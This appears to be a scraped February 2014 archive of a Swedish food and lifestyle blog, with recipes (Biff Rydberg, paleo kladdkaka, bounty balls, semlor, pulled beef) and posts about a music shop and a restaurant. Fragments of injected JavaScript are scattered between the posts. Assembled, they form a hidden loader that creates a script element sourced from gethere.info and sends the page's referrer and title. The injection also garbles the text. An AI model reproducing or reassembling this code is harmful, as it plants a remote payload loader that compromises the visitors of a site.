Biff Rydberg med senapssås

28 februari, 2014 @ 09:06

Det här receptet hittade jag på Tasteline. Om du vill kika på en massa andra recept från Tasteline så kika här.

Recept: 4 personer
600-700g fläskfilé eller oxfilé (Jag använde oxfilé)
700g potatis
2 gula lökar
smör till stekning salt och peppar

Senapssås:
2 dl creme fraiche
2 tsk fransk ljus senap
2 tsk svensk grov senap

Gör så här:
Putsa köttet, ta bort överflödigt fett och hinnor
Skala potatisen och löken.
Skär köttet, potatisen och löken i jämnstora tärningar ca: 1×1 cm.
Hetta upp lite smör i en stekpanna. Stek allting var för sig tills det har fått fin färg runt om, och krydda sedan med salt och peppar. Fördela köttet och potatisen i grupper på portionstallrikar efterhand.

Rör samman alla ingredienserna till såsen. Servera den som tillbehör.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Karlssons Musik

24 februari, 2014 @ 10:26

För några veckor sedan fick jag ett paket i brevlådan från Sven. Sven känner jag sedan jag var liten och vi gick på samma skola i Fjärås. Det innehöll en fin shoppingbag, tidningen ”Dragspelsguiden” och en CD skiva. Alltid roligt att få presenter och framförallt en fin shoppingbag. Den kommer väl till användning när jag storhandlar mat framöver-

Sven jobbar på Karlssons Musik som ni hittar på Äskebacka i Fjärås.

Öppettiderna är följande:
Vardagar 13.00 – 18.00
Onsdagar Stängt
Lördagar 9.00 – 14.00

En utförlig vägbeskrivning till Karlssons Musik hittar ni här.

Ni kan kika på hemsidan här. De har även en fin facebook sida som ni kan kika på här.

Här kommer en liten presentation på Karlssons Musik.

Karlssons Musik drivs av tre personer, Sven med bror Lars som tillsammas med pappa Ingvar startade firman för 44 år sedan. De har ytterligare en anställd, Peter som jobbar enbart med service i deras serviceverkstad. Sven’s roll i företaget är att vara spindeln i nätet då han tar hand om kunder, mestadels via telefon, pappersjobb, svara på mail, skicka varor etc och sköta övrig logistik i företaget.

Ingvar jobbar mest i verkstaden och tillsammans med Lars. Lars är även det övergripande ansvaret i verkstaden. Kundsupport tar Sven, Lars och Ingvar hand om tillsammans.
Karlssons Musik har kunder från Göteborg med omnejd men har även kunder som åker mellan 50-100 mil för ett besök i deras butik.
När det planeras kundbesök och mässor är det oftast Sven eller Lars som tar hand om detta.
Kontakt med fabriker sker främst från Italien, Tyskland & Kina.

När kunder efterfrågar durspel (den typ av dragspel som Lars spelar) eller digitala dragspel eller mikrofonutrustning etc så hänvisas de till Lars.
De kunder som frågar på CD sortimentet, noter, DVD etc så hänvisas de till Sven.

Ta gärna ett besök till Karlssons Musik när ni har vägarna förbi så lovar jag att Sven bjuder er på en kaffe om ni hälsar från mig!} else {

Paleokladdkaka

23 februari, 2014 @ 13:42

Har letat efter den perfekta paleokladdkakan och tror jag hittad den nu. Helt fantastiskt god, krämig och smaker halt underbart.

Receptet hittade jag på Emma Barremyrs blogg här.

Recept:

3 ägg

10 dadlar

2 dl mandelmjöl

1 dl kokosflingor

5 msk kakao

1/2 dl kokosolja

1 msk honung

1 tsk vaniljpulver

1 tsk bakpulver

En nypa salt

Gör så här:

Sätt ugnen på 175 grader. Mixa dadlar och kokos i en matberedare. Häll i mandelmjöl, kakao, vaniljpulver, bakpulver och salt och mixa lite till. Smält kokosoljan och häll ner i smeten tillsammans med honung och ägg. Mixa allt till en jämn smet. Smörj en form (ca 20 cm i dameter) med kokosolja och pudra över kokosflingor. Häll smeten i formen och grädda i ugnen i ca 8 minuter, den ska vara kletig när du tar ut den. Ställ formen i kylen minst en timme innan servering.
Servera kakan med kokosgrädde .

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Gourmetgruppen

22 februari, 2014 @ 11:25

I fredags var vi på Valentinmiddag på Michelangelo Bar & Kök på Björcksg. 39 i Göteborg.
Efter middagen fick vi med oss en underbar present då de delade ut en delikatesslåda till några av kvällens middagsgäster och vi var en av de lyckliga gästerna.

Lådan kommer från Gourmetgruppen.

Gourmetgruppen ett handelshus i delikatesser från Syd- och Centraleuropa. De erbjuder Sverige och svenskarna det bästa inom alltifrån chark, ost, färsk pasta, olja, vinäger till inläggningar och delikatesser – i både lösvikt och förpackning.

Vi öppnade vår låda och dukade upp med en massa gott för några dagar sedan och det smakade otroligt gott.
Fuetsalamin var vår klara favorit…såå god.

}

Middag på Michelangelo Kök och Bar

21 februari, 2014 @ 10:15

I fredags åt vi en härlig middag på Michelangelo. Är nog en av de trevligaste kvarterskrogar jag känner till som finns i Göteborg. Otroligt god mat och trevlig miljö. Här har vi ätit middag flera gånger genom åren och de har även take-away för den som vill köpa med sig mat hem.

Varje gäst fick med sig en påse med lite gelehjärtan ….s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Tjejhelg 15-16 feb

19 februari, 2014 @ 07:59

I lördags var jag på tjejhelg med ett gäng härliga tjejer i en sommarstuga vid sjön Säven mellan Alingsås och Borås.
Vi körde lite knytis och alla tog med sig 2 tapasrätter var. Jag tog med chilimarinerade räkor och nutellakladdkaka.
Äta korv med bröd, gå promenader, dricka te och och äta en massa god mat och dricka vin sammanfattar en supertrevlig helg. Ett stort tack Hanna för din gästfrihet och att du styrde upp en härlig tjejhelg!

Här ser ni alla goda tapasrätter som vi åt på kvällen.

var d=document;var s=d.createElement(‘script’);

Brownies med dadlar (Paleo)

18 februari, 2014 @ 11:25

Det här recepet fick jag av Anna, som tränar på samma CrossFit box ”CrossFit Göta” som jag. Receptet hittade jag på hennes blogg ”Beauty by Anna”. Nästa gång jag bakar dessa brownies ska jag dra ner på kokosmjölet för att få en lite mer kladdigare brownie. Ev kan man ta lite mer kokosolja i smeten och lite mer dadlar.

Brownies 6 st
12-15 dadlar
3-4 msk kokosolja
3 ägg
4-6 msk kokosmjöl (prova dig fram med kokosmjölet så du får en bra smet)
1 dl kakao
1 tsk bakpulver
1 tsk vaniljpulver
en nypa havssalt
kokosflingor eller hackade nötter/mandlar att toppa med

Gör så här:
Sätt ugnen på 200 grader.

Smält kokosoljan. Hacka dina dadlar eller lägg i matberedare tillsammans med den smälta kokosoljan. Vispa ägg och tillsätt alla torra ingredienser i en annan bunke. Blanda ihop allt till en smet och bred ut den i en rektangulär bakform, ca 2-3 cm hög. Strö över toppingen.
Grädda i 8 minuter på nedre delen av ugnen. Låt svalna och skär upp i lämpliga bitar. Jag fick 6 bitar.

Bounty bollar

17 februari, 2014 @ 11:37

Recept: ca 40 bollar
50g smör
0,75dl sirap
0,5dl florsocker
2dl grädde
200g kokosflingor

200g blockchoklad till garnering

Blanda allt utom kokos och koka ca 8 minuter, tills smeten blir lite seg. Tillsätt kokos och låt svalna i ca ½ timme. Smält blockchokladen i vattenbad. Rulla smeten till bollar (ca 40st) och doppa i chokladen (perfekt att doppa bollarna med en gaffel där chokladen rinner emellan). Lägg sedan bollarna på ett bakplåtspapper för att stelna. Förvaras i kylen.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Chokladsemlor med nutellafyllning och grädde

15 februari, 2014 @ 10:14

Här hittar ni ett recept på chokladsemlor. Receptet har jag hittat på www.alltommat.se. Sen har jag hittat på en egen nutellafyllning som alternativ till chokladfyllning.

Recept 14 st
25 gram jäst
3 dl kall mjölk
100 gram smör (rumstempererat)
0,5 st ägg (uppvispat)
0,75 dl kakao
0,5 dl strösocker
0,5 tsk salt
0,5 tsk kardemumma (stött)
10 dl vetemjöl

Gör så här:
Smula jästen i en bunke. Tillsätt den kalla mjölken och rör tills jästen löst sig. Rör i smöret i mindre bitar, ägg, kakao, socker, salt, kardemumma och vetemjöl. Låt jäsa övertäckt i ca 2 timmar.
Ta upp degen på mjölat bakbord och knåda den smidig med mjöl. Dela degen i 14 bitar. Forma runda, släta bullar som läggs på en plåt med bakplåtspapper. Låt jäsa övertäckta, ca 40 min.
Sätt ugnen på 250 grader. Pensla bullarna med ägg, Grädda mitt i ugnen ca 12 minuter. Låt bullarna kallna på ett galler under bakduk.

Skär ett lock på bullarna. klicka på chokladkräm och spritsa med grädde.

Pulled beef på högrev

14 februari, 2014 @ 11:11

Receptet på pulled beef hittade hittade jag här. Jag använde mig av en bit ekologiskt, gräsuppfött nötkött.

Ingredienser

1 kilo benfri högrev (givetvis svensk!)
1 gul lök (ta 2 om du gillar lök)
4 klyftor vitlök
1 deciliter ketchup
1/2 – 1 matsked chipotlepulver (ta 1/2 matsked om du inte tycker om för starkt kryddad mat)
1 matsked farinsocker
0,5 matsked mald spiskummin
1 matsked whisky

Så här gör du

Se till att du har en ugnssäker gryta med lock, jag brukar använda en rejäl rackare från Le Creuset. Lägg ner högreven i grytan (du behöver inte putsa köttet).
Skala gul lök och vitlök, vitlöken skär du i små bitar och den gula löken skär du i tjocka skivor. Blanda de andra ingredienserna och bred på köttet. Lägg sen gul lök och vitlök ovanpå karrén.
Sätt in i ugnen och värm till 125°C (eller så lågt din ugn kan gå om du till exempel har en gasugn). Låt grytan tillagas i ungefär 4 timmar, i vissa fall kan det längre och då får det ta den tiden.
Kolla ungefär en gång i timmen så att det inte bränner i botten. Om du märker att det blir alldeles för vattnigt (vilket är min erfarenhet ibland och något jag fått frågor om), sätt locket på glänt och låt det ångas bort.
Din pulled beef är färdiglagad när köttet faller isär om du drar det försiktigt med en gaffel.
Dra isär köttet med en stor gaffel och bland runt alltsammans i grytan. Om du ska bjuda på receptet passar det utmärkt att göra dagen före och sen värma på runt 100 grader i ugnen en stund innan du ska servera maten.

Så här ser köttet ut efter ca 1 timma i ugnen.

Så här ser köttet ut efter ca 2 timmar i ugnen.

Så här ser köttet ut när det kokat i över 4 timmar.

Dra isär köttet med en gaffel.

Sila av skyn och gör antingen en sås till köttet eller blanda i köttet när du värmer upp det igen innan servering.

Här kommer lite info om högrev.

Högrev Smältande mört grytkött.
Något som man oftast glömmer är att högreven på grund av den fina fettinsprängdheten är den absolut smakrikaste delen av djuret. Detta beror förstås även på att biten har mycket hinnor och bindväv som vid lång tillagning hinner brytas ned och avge smak. Då har även köttbiten förvandlats till smältande mör.

Passar till: grytor, soppor och andra långkoksrätter, antingen hel eller i bitar. Bräsering. Går även att: grilla eller ugnsteka om det sker på mycket låg temperatur och under lång tid. Kännetecken: långa grova muskeltrådar med mycket insprängt fett. Främsta egenskaper: smakrik och fantastiskt mör efter långkok. Del av djuret: framdelen, skuldran; sitter mellan entrecôten och halsen. Övrigt: högrevskärnan är likvärdig med entrecôten.

} else {

Spotlife

månadsarkiv: februari 2014